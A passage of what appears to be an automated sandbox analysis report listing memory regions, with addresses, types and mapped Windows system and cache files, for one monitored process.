"c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 430 start_va = 0x2280000 end_va = 0x22fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 431 start_va = 0x2300000 end_va = 0x2314fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 432 start_va = 0x2320000 end_va = 0x2327fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windows.storage.dll.mui" filename = "\\Windows\\System32\\en-US\\windows.storage.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\windows.storage.dll.mui") Region: id = 433 start_va = 0x2330000 end_va = 0x2331fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002330000" filename = "" Region: id = 434 start_va = 0x2340000 end_va = 0x2340fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "counters.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat") Region: id = 435 start_va = 0x2350000 end_va = 0x235ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002350000" filename = "" Region: id = 436 start_va = 0x2360000 end_va = 0x2360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002360000" filename = "" Region: id = 437 start_va = 0x2370000 end_va = 0x2370fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{28c2908a-a261-4be8-aaa2-4843375011c5}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{28C2908A-A261-4BE8-AAA2-4843375011C5}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{28c2908a-a261-4be8-aaa2-4843375011c5}.2.ver0x0000000000000001.db") Region: id = 438 start_va = 0x2380000 end_va = 0x245ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 439 start_va = 0x2560000 end_va = 0x25dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 440 start_va = 0x25e0000 end_va = 0x25e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 441 start_va = 0x25f0000 end_va = 0x25f4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oleaccrc.dll.mui" filename = "\\Windows\\System32\\en-US\\oleaccrc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\oleaccrc.dll.mui") Region: id = 442 start_va = 0x2600000 end_va = 0x26bbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 443 start_va = 0x26c0000 end_va = 0x26c3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000026c0000" filename = "" Region: id = 444 start_va = 0x26d0000 end_va = 0x27cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026d0000" filename = "" Region: id = 445 start_va = 0x27d0000 end_va = 0x27d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 446 start_va = 0x27e0000 end_va = 0x27e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000027e0000" filename = "" Region: id = 447 start_va = 0x27f0000 end_va = 0x382ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 448 start_va = 0x3830000 end_va = 0x3830fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003830000" filename = "" Region: id = 449 start_va = 0x3840000 end_va = 0x3840fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003840000" filename = "" Region: id = 450 start_va = 0x3850000 end_va = 0x3850fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003850000" filename = "" Region: id = 451 start_va = 0x3860000 end_va = 0x3861fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003860000" filename = "" Region: id = 452 start_va = 0x3870000 end_va = 0x3871fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 453 start_va = 0x3880000 end_va = 0x38c7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003880000" filename = "" Region: id = 454 start_va = 0x38d0000 end_va = 0x38d3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000038d0000" filename = "" Region: id = 455 start_va = 0x38e0000 end_va = 0x38e0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 456 start_va = 0x38f0000 end_va = 0x38f1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000038f0000" filename = "" Region: id = 457 start_va = 0x3900000 end_va = 0x3900fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003900000" filename = "" Region: id = 458 start_va = 0x3910000 end_va = 0x3910fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003910000" filename = "" Region: id = 459 start_va = 0x3920000 end_va = 0x3920fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003920000" filename = "" Region: id = 460 start_va = 0x3930000 end_va = 0x3a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003930000" filename = "" Region: id = 461 start_va = 0x3a30000 end_va = 0x3a30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a30000" filename = "" Region: id = 462 start_va = 0x3a40000 end_va = 0x3a4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003a40000" filename = "" Region: id = 463 start_va = 0x3a50000 end_va = 0x3a5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003a50000" filename = "" Region: id = 464 start_va = 0x3a60000 end_va = 0x3a6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003a60000" filename = "" Region: id = 465 start_va = 0x3a70000 end_va = 0x3a70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a70000" filename = "" Region: id = 466 start_va = 0x3a80000 end_va = 0x3a80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a80000" filename = "" Region: id = 467 start_va = 0x3a90000 end_va = 0x3a90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a90000" filename = "" Region: id = 468 start_va = 0x3aa0000 end_va = 0x3aa3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 469 start_va = 0x3ab0000 end_va = 0x3ab0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ab0000" filename = "" Region: id = 470 start_va = 0x3ac0000 end_va = 0x3ac0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ac0000" filename = "" Region: id = 471 start_va = 0x3ad0000 end_va = 0x3ad0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ad0000" filename = "" Region: id = 472 start_va = 0x3ae0000 end_va = 0x3ae1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ae0000" filename = "" Region: id = 473 start_va = 0x3af0000 end_va = 0x3b28fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003af0000" filename = "" Region: id = 474 start_va = 0x3b30000 end_va = 0x3b30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b30000" filename = "" Region: id = 475 start_va = 0x3b40000 end_va = 0x3b40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b40000" filename = "" Region: id = 476 start_va = 0x3b50000 end_va = 0x3b51fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003b50000" filename = "" Region: id = 477 start_va = 0x3b60000 end_va = 0x3b63fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 478 start_va = 0x3b70000 end_va = 0x3b71fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stobject.dll.mui" filename = "\\Windows\\System32\\en-US\\stobject.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\stobject.dll.mui") Region: id = 479 start_va = 0x3b80000 end_va = 0x3b81fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003b80000" filename = "" Region: id = 480 start_va = 0x3b90000 end_va = 0x3b91fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "inputswitch.dll.mui" filename = "\\Windows\\System32\\en-US\\InputSwitch.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\inputswitch.dll.mui") Region: id = 481 start_va = 0x3ba0000 end_va = 0x3ba4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll") Region: id = 482 start_va = 0x3bb0000 end_va = 0x3bbffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui") Region: id = 483 start_va = 0x3bc0000 end_va = 0x3bc1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003bc0000" filename = "" Region: id = 484 start_va = 0x3bd0000 end_va = 0x3bd3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 485 start_va = 0x3be0000 end_va = 0x3c24fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db") Region: id = 486 start_va = 0x3c30000 end_va = 0x3c33fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 487 start_va = 0x3c40000 end_va = 0x3ccdfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 488 start_va = 0x3cd0000 end_va = 0x3ce0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 489 start_va = 0x3d00000 end_va = 0x3d01fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003d00000" filename = "" Region: id = 490 start_va = 0x3d20000 end_va = 0x3d21fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 491 start_va = 0x3d30000 end_va = 0x3d31fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 492 start_va = 0x3d70000 end_va = 0x3deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003d70000" filename = "" Region: id = 493 start_va = 0x3df0000 end_va = 0x3e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003df0000" filename = "" Region: id = 494 start_va = 0x3e70000 end_va = 0x3e70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e70000" filename = "" Region: id = 495 start_va = 0x3e80000 end_va = 0x3e81fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003e80000" filename = "" Region: id = 496 start_va = 0x3e90000 end_va = 0x3e90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e90000" filename = "" Region: id = 497 start_va = 0x3ea0000 end_va = 0x3ea0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ea0000" filename = "" Region: id = 498 start_va = 0x3eb0000 end_va = 0x3eb8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003eb0000" filename = "" Region: id = 499 start_va = 0x3ef0000 end_va = 0x3ef8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ef0000" filename = "" Region: id = 500 start_va = 0x3f00000 end_va = 0x3f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f00000" filename = "" Region: id = 501 start_va = 0x3f80000 end_va = 0x4471fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003f80000" filename = "" Region: id = 502 start_va = 0x4480000 end_va = 0x457ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004480000" filename = "" Region: id = 503 start_va = 0x4580000 end_va = 0x4580fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll") Region: id = 504 start_va = 0x4590000 end_va = 0x4596fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004590000" filename = "" Region: id = 505 start_va = 0x45a0000 end_va = 0x469ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000045a0000" filename = "" Region: id = 506 start_va = 0x46a0000 end_va = 0x46a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000046a0000" filename = "" Region: id = 507 start_va = 0x46b0000 end_va = 0x46b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000046b0000" filename = "" Region: id = 508 start_va = 0x46c0000 end_va = 0x46c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000046c0000" filename = "" Region: id = 509 start_va = 0x46d0000 end_va = 0x46d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000046d0000" filename = "" Region: id = 510 start_va = 0x46e0000 end_va = 0x46e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000046e0000" filename = "" Region: id = 511 start_va = 0x46f0000 end_va = 0x46f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000046f0000" filename = "" Region: id = 512 start_va = 0x4700000 end_va = 0x4701fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sndvolsso.dll.mui" filename = "\\Windows\\System32\\en-US\\sndvolsso.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\sndvolsso.dll.mui") Region: id = 513 start_va = 0x4720000 end_va = 0x4721fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004720000" filename = "" Region: id = 514 start_va = 0x4730000 end_va = 0x473ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004730000" filename = "" Region: id = 515 start_va = 0x4740000 end_va = 0x493ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004740000" filename = "" Region: id = 516 start_va = 0x4950000 end_va = 0x4950fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mmdevapi.dll.mui" filename = "\\Windows\\System32\\en-US\\MMDevAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mmdevapi.dll.mui") Region: id = 517 start_va = 0x4a40000 end_va = 0x4a41fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 518 start_va = 0x4a50000 end_va = 0x4a50fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 519 start_va = 0x4a60000 end_va = 0x4a61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004a60000" filename = "" Region: id = 520 start_va = 0x4a70000 end_va = 0x4a71fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 521 start_va = 0x4a80000 end_va = 0x4afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a80000" filename = "" Region: id = 522 start_va = 0x4b00000 end_va = 0x4b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b00000" filename = "" Region: id = 523 start_va = 0x4b80000 end_va = 0x537ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b80000" filename = "" Region: id = 524 start_va = 0x5380000 end_va = 0x5380fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005380000" filename = "" Region: id = 525 start_va = 0x5390000 end_va = 0x548ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005390000" filename = "" Region: id = 526 start_va = 0x5490000 end_va = 0x5491fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005490000" filename = "" Region: id = 527 start_va = 0x54a0000 end_va = 0x54e7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000054a0000" filename = "" Region: id = 528 start_va = 0x5540000 end_va = 0x55bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005540000" filename = "" Region: id = 529 start_va = 0x55c0000 end_va = 0x55c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000055c0000" filename = "" Region: id = 530 start_va = 0x55d0000 end_va = 0x55d1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000055d0000" filename = "" Region: id = 531 start_va = 0x55e0000 end_va = 0x55e0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 532 start_va = 0x55f0000 end_va = 0x5638fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000055f0000" filename = "" Region: id = 533 start_va = 0x5640000 end_va = 0x5640fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005640000" filename = "" Region: id = 534 start_va = 0x5650000 end_va = 0x5697fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005650000" filename = "" Region: id = 535 start_va = 0x56a0000 end_va = 0x56a1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 536 start_va = 0x5720000 end_va = 0x58d8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 537 start_va = 0x58e0000 end_va = 0x59dffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 538 start_va = 0x59e0000 end_va = 0x5a5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000059e0000" filename = "" Region: id = 539 start_va = 0x5a60000 end_va = 0x7de1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "appdb.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Notifications\\appdb.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\notifications\\appdb.dat") Region: id = 540 start_va = 0x7e70000 end_va = 0x7eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007e70000" filename = "" Region: id = 541 start_va = 0x7ef0000 end_va = 0x7f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007ef0000" filename = "" Region: id = 542 start_va = 0x8050000 end_va = 0x8051fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pnidui.dll.mui" filename = "\\Windows\\System32\\en-US\\pnidui.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\pnidui.dll.mui") Region: id = 543 start_va = 0x8060000 end_va = 0x8061fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008060000" filename = "" Region: id = 544 start_va = 0x8070000 end_va = 0x816ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 545 start_va = 0x8170000 end_va = 0x826ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008170000" filename = "" Region: id = 546 start_va = 0x8270000 end_va = 0x8273fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bthprops.cpl.mui" filename = "\\Windows\\System32\\en-US\\bthprops.cpl.mui" (normalized: "c:\\windows\\system32\\en-us\\bthprops.cpl.mui") Region: id = 547 start_va = 0x8280000 end_va = 0x8281fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008280000" filename = "" Region: id = 548 start_va = 0x8290000 end_va = 0x8291fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008290000" filename = "" Region: id = 549 start_va = 0x82a0000 end_va = 0x82a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000082a0000" filename = "" Region: id = 550 start_va = 0x82b0000 end_va = 0x82b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000082b0000" filename = "" Region: id = 551 start_va = 0x82c0000 end_va = 0x82c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000082c0000" filename = "" Region: id = 552 start_va = 0x82e0000 end_va = 0x82e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000082e0000" filename = "" Region: id = 553 start_va = 0x82f0000 end_va = 0x8309fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000014.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000014.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000014.db") Region: id = 554 start_va = 0x8310000 end_va = 0x842cfff monitored = 0 entry_point = 0x8311cc0 region_type = mapped_file name = "wscui.cpl" filename = "\\Windows\\System32\\wscui.cpl" (normalized: "c:\\windows\\system32\\wscui.cpl") Region: id = 555 start_va = 0x8430000 end_va = 0x852ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_32.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_32.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_32.db") Region: id = 556 start_va = 0x8590000 end_va = 0x859ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008590000" filename = "" Region: id = 557 start_va = 0x85a0000 end_va = 0x8727fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ieframe.dll.mui" filename = "\\Windows\\System32\\en-US\\ieframe.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\ieframe.dll.mui") Region: id = 558 start_va = 0x87f0000 end_va = 0x886ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000087f0000" filename = "" Region: id = 559 start_va = 0x88f0000 end_va = 0x896ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000088f0000" filename = "" Region: id = 560 start_va = 0x89f0000 end_va = 0x8a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000089f0000" filename = "" Region: id = 561 start_va = 0x8bf0000 end_va = 0x8deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008bf0000" filename = "" Region: id = 562 start_va = 0x8e70000 end_va = 0x8eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008e70000" filename = "" Region: id = 563 start_va = 0x8f70000 end_va = 0x8feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008f70000" filename = "" Region: id = 564 start_va = 0x90f0000 end_va = 0x916ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000090f0000" filename = "" Region: id = 565 start_va = 0x9170000 end_va = 0x91effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009170000" filename = "" Region: id = 566 start_va = 0x91f0000 end_va = 0x926ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000091f0000" filename = "" Region: id = 567 start_va = 0x93f0000 end_va = 0x946ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000093f0000" filename = "" Region: id = 568 start_va = 0x9470000 end_va = 0x94effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009470000" filename = "" Region: id = 569 start_va = 0x94f0000 end_va = 0x956ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000094f0000" filename = "" Region: id = 570 start_va = 0x9570000 end_va = 0x95effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009570000" filename = "" Region: id = 571 start_va = 0x97f0000 end_va = 0x986ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000097f0000" filename = "" Region: id = 572 start_va = 0x9f70000 end_va = 0xa36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009f70000" filename = "" Region: id = 573 start_va = 0xa370000 end_va = 0xab6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a370000" filename = "" Region: id = 574 start_va = 0xadf0000 end_va = 0xae6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000adf0000" filename = "" Region: id = 575 start_va = 0xb070000 end_va = 0xb0effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b070000" filename = "" Region: id = 576 start_va = 0xb0f0000 end_va = 0xb16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b0f0000" filename = "" Region: id = 577 start_va = 0xb170000 end_va = 0xb1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b170000" filename = "" Region: id = 578 start_va = 0xb1f0000 end_va = 0xb26ffff monitored = 1 